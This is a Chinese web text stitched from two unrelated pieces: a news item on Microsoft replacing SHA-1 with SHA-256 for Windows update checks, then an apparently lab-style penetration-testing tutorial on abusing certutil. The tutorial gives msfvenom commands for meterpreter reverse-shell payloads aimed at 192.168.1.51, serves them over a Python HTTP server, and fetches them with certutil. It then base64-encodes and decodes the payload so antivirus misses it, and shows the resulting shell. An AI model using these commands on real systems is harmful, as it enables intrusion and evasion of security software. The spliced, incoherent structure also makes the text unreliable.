軟從兩年前開始就在逐步替換安全更新的哈希值校驗 , 因為理論上說SHA-1校驗碼已經可以偽造因此不夠安全。
谷歌此前已經利用強大的計算能力碰撞出相同的SHA-1值 , 即便這是完全不同的文件進行校驗的話也會顯示相同。
所以微軟將Windows 8和Windows 10的安全更新校驗全部換成 SHA-256 , 如果哈希值不同的話則認為不安全。
Windows 7 則是在此前推出的安全更新中將校驗機制替換,現在未更新的Windows 7將無法安裝任何安全更新。
下載中心哈希值也開始替換:
微軟下載中心提供的安全更新此前會同時提供SHA-1和SHA-256值,其文件名會直接附帶SHA-256 值方便校驗。
在決定拋棄SHA-1后微軟從今天開始將下載中心的 SHA-1 廢棄,從今天起微軟不再提供安全更新的SHA-1校驗。
微軟表示我們正在使用更強大的校驗算法來增強安全性,為此您需要使用 SHA-256 值來確保您下載更新的安全。
如果您使用Windows 7 SP1、Windows Server 2008 R2、Windows Server 2008 SP2 則需要先獲得關鍵更新。
在沒有安裝關鍵更新的情況下用戶將無法獲得任何安全更新,因為這些補丁更換校驗碼后舊版無法完成校驗工作。
怎么下載安裝關鍵更新:
Windows 8 及以上版本已經原生支持SHA-256校驗所以無需任何操作,不會影響接收最新的安全更新和安裝等。
而Windows 7 系列版本原生并不支持SHA-256校驗補丁,因此必須安裝微軟發布的關鍵更新后才可以繼續更新。
企業管理員們可以點擊這里下載關鍵更新,當然 Windows 7 已結束支持如果企業并未付費購買擴展也不能更新。
Certutil 是 Windows 操作系統上預裝的工具,可用于 校驗文件MD5、SHA1、SHA256,下載惡意文件和免殺。
本文僅供學習使用,請勿用于非法操作,后果與作者無關。
下面,將介紹它在 Windows 滲透測試中的作用。
Certutil 是一個 CLI 程序,可用于轉儲和顯示證書頒發機構(CA),配置信息,證書服務, CA 組件的備份和還原以及驗證證書、密鑰對和證書鏈,它作為證書服務的一部分安裝。
作為系統工具的它,為什么會成為一個攻擊工具(后門)?
簡單來說,就是 非惡意軟件攻擊,下面是具體的操作示例。
環境
編碼
Certutil 包含一個編碼參數(編碼)。這有助于在 Base64 中編碼文件的內容。這是在 Windows 中等效于 Linux 中的 base64 命令。
不能打開 .exe 可執行文件時,可以使用 certutil 對可執行文件進行編碼。然后傳輸編碼后的數據,然后在接收機上對其進行解碼。
首先創建一個名為 file.txt 的文本文件,輸入一些內容,打開 PowerShell。
參數-encodehex 將數據轉換為十六進制編碼的文件。
解碼
Certutil 可以解碼 Base64 編碼的數據。使用 certutil 和參數 -decode。
參數 -decodehex 解碼十六進制編碼的文件。
散列
獲取數據并傳遞固定長度的輸出字符串。使用哈希加密算法,例如 MD5,SHA-1,SHA-256,可以驗證兩個文件是否相同。該校驗和是用于執行檢查的散列值的數據完整性,這是一種文件簽名。通過比較校驗和,我們可以識別重復文件。
命令 certutil -hashfile 生成指定哈希值。
注意:哈希算法區分大小寫,MD5。
下載
certutil 還可用于從互聯網下載文件。
certutil.exe -urlcache -split -f http://example.com/a.txt
系統錯誤代碼
Certutil 可以幫助你找到系統錯誤代碼的消息文本,查看系統錯誤代碼的含義。
提交惡意可執行文件
前面提到,Certutil 可在未經任何驗證或評估的情況下主動從 Internet 下載文件。
Certutil 可用于將文件從一個系統復制到另一個系統,以在攻擊過程中橫向移動一些攻擊工具或其他文件。
使用 msfvenom 工具生成一個有效載荷或一個有效載荷,用于與攻擊機器的反向 TCP 連接。有效負載的格式設置為可執行文件 .exe。執行成功后,將在 root 目錄中創建文件。
使用由 Python One-liner 生成的 HTTP Server 傳輸可執行文件。
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.51 lport=1234 -f exe > shell.exe
python -m SimpleHTTPServer 80
有效負載已托管在服務器上,在靶機(受害者)上執行有效負載之前,我們需要在攻擊計算機上啟動監聽,以捕獲執行有效負載后生成的會話。
成功啟動攻擊者的偵聽器之后,進入靶機。在這里,我們有一個 PowerShell 終端。我們需要將有效負載下載到這臺機器上。使用 certutil 來查找它。Certutil 將使用兩個不同的用戶代理建立到遠程 Web 服務器的兩個連接。
有效負載成功傳輸到靶機之后。如圖所示,執行有效負載。
回到攻擊機器,以查看我們的偵聽器生成并捕獲 meterpreter 的實例。運行 sysinfo 以查看目標系統的詳細信息。
成功使用了 Certutil 和惡意可執行文件來 Getshell。
提交惡意 DLL 編碼
Certutil 可對文件進行進行base64 編碼,攻擊者可以使用經過混淆的文件來隱藏掃描攻擊的證據。然后再解碼這些文件。這就是 certutil 發揮作用的地方。可以解碼數據并避免殺毒軟件察覺。Certutil 還可以用于解碼已隱藏在證書文件中的可移植可執行文件。
有效載荷可以被編碼或加密,以避免被檢測。
還是使用 msfvenom 工具為與攻擊機器的反向TCP連接生成有效負載。有效負載的格式在動態鏈接庫文件 .dll 中設置。命名為 dll.txt。成功執行后,將在 root 目錄中創建文件。現在,要傳輸該文件,我們可以使用 Python One-liner 生成的 HTTP Server。
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.51 lport=1234 -f dll > dll.txt
python -m SimpleHTTPServer 80
有效負載已托管在服務器上,在靶機上執行有效負載之前,我們需要在攻擊計算機上啟動監聽,以捕獲在有效負載執行后將生成的會話。
成功啟動攻擊者的監聽之后再進入靶機。打開 PowerShell 終端。我們需要將有效負載下載到這臺機器上,并且必須謹慎進行。執行命令:
certutil -urlcache -split -f http://192.168.1.51/dll.txt dll.txt | certutil -encode dll.txt edll.txt
該文件將被下載為文本文件,并被編碼為另一個文本文件。
現在要執行有效載荷以損害受害者,我們必須對其進行解碼。使用 -decode 參數解碼有效負載并將其保存為 exploit.dll(殺毒軟件不會察覺)。然后運行此 DLL。
回到攻擊機器,以查看我們的監聽生成并捕獲 meterpreter 的實例。運行 sysinfo 以查看目標系統的詳細信息。
成功使用 Certutil 和惡意編碼的可執行文件 Getshell。